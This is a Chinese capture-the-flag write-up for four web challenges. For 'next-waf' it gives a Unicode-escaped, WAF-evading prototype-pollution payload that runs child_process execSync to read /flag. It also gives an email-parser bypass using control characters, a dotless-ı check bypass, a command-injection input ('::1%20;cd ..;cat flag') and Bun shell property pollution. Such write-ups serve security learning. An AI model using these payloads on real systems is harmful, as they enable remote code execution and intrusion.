n1-J WP
next-waf(一血)
本质在 nginx.conf 对 plain-text 做的WAF,而 nodejs 可以解析 Unicode,所以转一下 Unicode 就好了。
1 | {"\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e", "\u0073\u0074\u0061\u0074\u0075\u0073": "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c", "\u0072\u0065\u0061\u0073\u006f\u006e": -1, "\u0076\u0061\u006c\u0075\u0065": "\u007b\u0022\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0032\u0034\u005c\u0075\u0030\u0030\u0034\u0032\u005c\u0075\u0030\u0030\u0033\u0030\u0022\u007d", "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": {"\u005f\u0070\u0072\u0065\u0066\u0069\u0078": "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u0020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065\u002e\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u0029\u002e\u0065\u0078\u0065\u0063\u0053\u0079\u006e\u0063\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u003b\u0020\u0074\u0068\u0072\u006f\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u002e\u0061\u0073\u0073\u0069\u0067\u006e\u0028\u006e\u0065\u0077\u0020\u0045\u0072\u0072\u006f\u0072\u0028\u0027\u004e\u0045\u0058\u0054\u005f\u0052\u0045\u0044\u0049\u0052\u0045\u0043\u0054\u0027\u0029\u002c\u0020\u007b\u0064\u0069\u0067\u0065\u0073\u0074\u003a\u0072\u0065\u0073\u007d\u0029\u003b", "\u005f\u0066\u006f\u0072\u006d\u0044\u0061\u0074\u0061": {"\u0067\u0065\u0074": "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"}}} |
postman(一血)
本质存在对于

这段逻辑会忽略 ASCII 码小于 0x21且不是空格或制表符的字符。这意味着如 \x01 会被解析器剔除。
这里就可以用来绕过
顺便看一下下面的逻辑,可以用括号注释来绕过
1 | username = "A\x01dmin\x01istrator\na\x01dmin@a\x01dmin.com(" |

注册后拼接为:
1 | <A\x01dmin\x01istrator\na\x01dmin@a\x01dmin.com(@test.com> |
- 解析器遇到
(,将其视为注释开始(Comment)。 - Text 部分为
A\x01dmin\x01istrator\na\x01dmin@a\x01dmin.com。 - 解析器内部清洗掉
\x01,变为Administrator\nadmin@admin.com。 - 这里的
\n起到了分隔作用,相当于,,使得admin@admin.com被识别为有效邮箱地址。
最终解析正确拿到flag。
addr(一血)
还是 Unicode 得特性,对于
字符 ı 的特性如下:
- upper() 转换为 I (正常 ASCII 字符)
- lower() 保持为 ı (不等于 i)
绕过检查。
后面对于 compressed 解析直接用 IPV6 绕过:
1 | ::1%20;cd ..;cat flag |
Bun(学习im03t中)
条件竞争这个一眼顶针了,然后添加属性也一眼顶针了,参考
关键在于如果 bun 执行 $ 时,如果存在 raw 属性 就不会进行转义,而是执行 raw 得内容。
1 | # 利用 hasOwnProperty 属性进行污染tool="hasOwnProperty"# 构造命令:查看环境变量,并强制返回 true 避免报错 |